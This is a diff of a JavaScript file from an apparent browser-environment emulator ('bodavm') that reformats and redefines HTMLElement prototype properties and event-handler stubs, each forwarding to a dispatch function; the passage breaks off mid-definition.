-bodavm.toolsFunc.defineProperty('HTMLElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "attachInternals", {configurable:true, enumerable:true, writable:true, value:function attachInternals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attachInternals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "click", {configurable:true, enumerable:true, writable:true, value:function click (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "click", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "inert", {configurable:true, enumerable:true, get:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_get", arguments)}, set:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_set", arguments)}},'prototype'); +// HTMLElement对象 + +bodavm.memory.globalobj['HTMLElement'] = function HTMLElement() { + console.log_copy('HTMLElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLElement'], "HTMLElement"); +bodavm.memory.globalobj['HTMLElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['HTMLElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('HTMLElement', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "lang", { + configurable: true, + enumerable: true, + get: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_get", arguments); + }, + set: function lang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "translate", { + configurable: true, + enumerable: true, + get: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_get", arguments); + }, + set: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dir", { + configurable: true, + enumerable: true, + get: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_get", arguments); + }, + set: function dir() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "hidden", { + configurable: true, + enumerable: true, + get: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_get", arguments); + }, + set: function hidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "accessKey", { + configurable: true, + enumerable: true, + get: function accessKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_get", arguments); + }, + set: function accessKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "draggable", { + configurable: true, + enumerable: true, + get: function draggable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_get", arguments); + }, + set: function draggable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "spellcheck", { + configurable: true, + enumerable: true, + get: function spellcheck() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_get", arguments); + }, + set: function spellcheck() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autocapitalize", { + configurable: true, + enumerable: true, + get: function autocapitalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_get", arguments); + }, + set: function autocapitalize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "contentEditable", { + configurable: true, + enumerable: true, + get: function contentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_get", arguments); + }, + set: function contentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "enterKeyHint", { + configurable: true, + enumerable: true, + get: function enterKeyHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_get", arguments); + }, + set: function enterKeyHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "isContentEditable", { + configurable: true, + enumerable: true, + get: function isContentEditable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "isContentEditable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inputMode", { + configurable: true, + enumerable: true, + get: function inputMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_get", arguments); + }, + set: function inputMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "virtualKeyboardPolicy", { + configurable: true, + enumerable: true, + get: function virtualKeyboardPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_get", arguments); + }, + set: function virtualKeyboardPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetParent", { + configurable: true, + enumerable: true, + get: function offsetParent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetParent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetTop", { + configurable: true, + enumerable: true, + get: function offsetTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetLeft", { + configurable: true, + enumerable: true, + get: function offsetLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetWidth", { + configurable: true, + enumerable: true, + get: function offsetWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "offsetHeight", { + configurable: true, + enumerable: true, + get: function offsetHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "innerText", { + configurable: true, + enumerable: true, + get: function innerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_get", arguments); + }, + set: function innerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "outerText", { + configurable: true, + enumerable: true, + get: function outerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_get", arguments); + }, + set: function outerText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() 